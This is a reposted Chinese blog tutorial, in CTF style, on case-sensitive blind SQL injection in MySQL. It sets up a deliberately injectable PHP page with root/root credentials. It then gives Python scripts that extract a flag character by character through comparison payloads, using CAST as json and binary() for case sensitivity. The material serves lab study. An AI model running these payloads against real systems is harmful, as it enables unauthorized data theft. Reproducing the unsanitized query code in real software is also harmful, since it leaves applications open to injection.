flag区分大小写的sql盲注

admin 2022年2月26日14:32:55评论65 views字数 3063阅读10分12秒阅读模式

flag区分大小写的sql盲注

一个热爱分享的公众号和一群热爱这个行业的作者们。



环境搭建


先自己创建两个数据表。

flag区分大小写的sql盲注
flag区分大小写的sql盲注

然后自己搭建一个极其简单的mysql查询网页。

flag区分大小写的sql盲注
网页代码:
#sql.php<!DOCTYPE html><html><head><title>ezsqli</title></head><body><form action="" method="POST"><input type="text" name="id"><input type="submit"></form></body></html><?phpif ($_POST['id']!='') {$dbhost = 'localhost'; // mysql服务器主机地址$dbuser = 'root'; // mysql用户名$dbpass = 'root'; // mysql用户名密码$conn = mysqli_connect($dbhost, $dbuser, $dbpass);if (!$conn) {die('连接失败: ' . mysqli_error($conn));}// 设置编码,防止中文乱码mysqli_query($conn, "set names utf8");$test = $_POST['id'];$sql = "select number from math where id=$test";mysqli_select_db($conn, 'test');$retval = mysqli_query($conn, $sql);if (!$retval) {die('无法读取数据: ' . mysqli_error($conn));} else {$row = mysqli_fetch_array($retval);echo $row['number'];}mysqli_close($conn);}?>

不区分大小写测试

测试代码:
import requestsurl = 'http://localhost/sql.php'def trans(flag):res = ''for i in flag:res += hex(ord(i))res = '0x' + res.replace('0x','')return resflag = ''for i in range(1,20):hexchar = ''for char in range(32, 126):hexchar = trans(flag+ chr(char))payload = '2||((select 1,{})<(select * from test))'.format(hexchar)data = {'id':payload}r = requests.post(url=url, data=data)if 'two' in r.text:flag += chr(char-1)#这个可以用知道select ’f’<’flag’;和select ‘flag’<’flag’;就明白print(flag)breakprint((flag[:-1] + chr(ord(flag[-1]) + 1)).lower())#这个是必须的,道理和上面一样

结果:

flag区分大小写的sql盲注

可以看到不区分大小写,而且都会转化为大写。这个是因为MySQL不区分大小写,而且大写字符的ASCII码都比小写的小。


区分大小写


1.CAST(‘0’as  json)

import requestsimport stringurl = 'http://localhost/sql.php'def test():str1 = string.punctuation[0:15] + '0123456789' + string.punctuation[15:22] + string.ascii_uppercase + string.punctuation[22:28] + string.ascii_lowercase + string.punctuation[28:]str1 = str1.replace("'", "").replace('"', '').replace('\', '')print(str1)flag = ''for j in range(1,20):#如果flag太长,按照自己需要可以多循环几次for s in str1:s = flag+spaylaod = "2||((select 1,concat('{}~',CAST('0' as json))) < (select * from test))".format(s)#print(paylaod)data = {'id': paylaod,}r = requests.post(url,data=data)if 'two' in r.text:flag=s#print(r.text)print(flag)breakif __name__ == '__main__':test()
结果:
flag区分大小写的sql盲注

MySQL中的JSON对象是二进制对象,因此cast(0 as json)回返回二进制’0’。也就是相当于”select ‘f0’<’flag’;”,而且’f0’是二进制数据。


2.binary()

import requestsimport stringurl = 'http://localhost/sql.php'
str1 =string.punctuation[0:15]+'0123456789'+string.punctuation[15:22]+string.ascii_uppercase+string.punctuation[22:28]+string.ascii_lowercase+string.punctuation[28:]str1=str1.replace("'","").replace('"','').replace('\','')print(str1)flag = ''for j in range(1, 20):#如果flag太长,按照自己需要可以多循环几次 for i in str1: sql = flag + i paylaod = "2||((select 1,binary('{}')) < (select * from test))".format(sql) # print(paylaod) data = { 'id': paylaod, } r = requests.post(url, data=data)
if 'two' in r.text: flag += chr(ord(i) - 1) # print(r.text) print(flag) breakprint(flag[:-1] + chr(ord(flag[-1]) + 1))

结果:
flag区分大小写的sql盲注
原理同上面一样。

总结:

原理很简单,我只是跟着大佬学习一下。需要注意的是,代码中str1的字符的顺序一定要按照ASCII码从小到大排序(这个坑了我好久)。”select ‘f’<’flag’;”和”select ‘falg’<’flag’;”的区别容易被忽略(说的就是我自己)。如果有更好的可以自己试试,原理就是这样。还请大佬指点。


参考:无需“in”的SQL盲注,作者iso60001链接回复公众号获取


公众号还有更多优质文章分享,可以持续关注公众号,我们会不间断发布优质文章。
如需合作:请联系公众号运营。



flag区分大小写的sql盲注flag区分大小写的sql盲注flag区分大小写的sql盲注


团队运营的知识星球

「安全武器库」 知识星球 是一个网络安全各类安全脚本工具整合的星球!主要分享、整理、原创编辑等网络安全相关工具以及脚本。

知识星球原定价:50元/年服务时间为一年,自加入日期顺延一年)。

新年福利目前仅需:30元/年(服务时间为一年,自加入日期顺延一年)。

如何加入:扫描下方二维码,扫码付费即可加入

flag区分大小写的sql盲注



 扫描二维码  关注更多精彩内容



flag区分大小写的sql盲注

本文始发于微信公众号(渗透云笔记):flag区分大小写的sql盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月26日14:32:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   flag区分大小写的sql盲注https://cn-sec.com/archives/492369.html

发表评论

匿名网友 填写信息